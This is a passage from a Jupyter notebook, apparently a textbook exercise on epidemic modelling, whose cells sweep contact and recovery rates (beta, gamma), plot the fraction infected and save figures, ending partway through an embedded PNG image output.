with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "label = 'gamma = ' + str(gamma)\n", "plot(infected_sweep, label=label)\n", "\n", "decorate(xlabel='Contact rate (beta)',\n", " ylabel='Fraction infected')\n", "\n", "savefig('figs/chap13-fig01.pdf')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Sweeping gamma" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Using the same array of values for `beta`" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0, 1.1]" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" } ], "source": [ "beta_array" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "And now an array of values for `gamma`" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[0.2, 0.4, 0.6, 0.8]" ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "gamma_array = [0.2, 0.4, 0.6, 0.8]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "For each value of `gamma`, sweep `beta` and plot the results." ] }, { "cell_type": "code", "execution_count": 29, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving figure to file figs/chap13-fig02.pdf\n" ] }, { "data": { "image/png": "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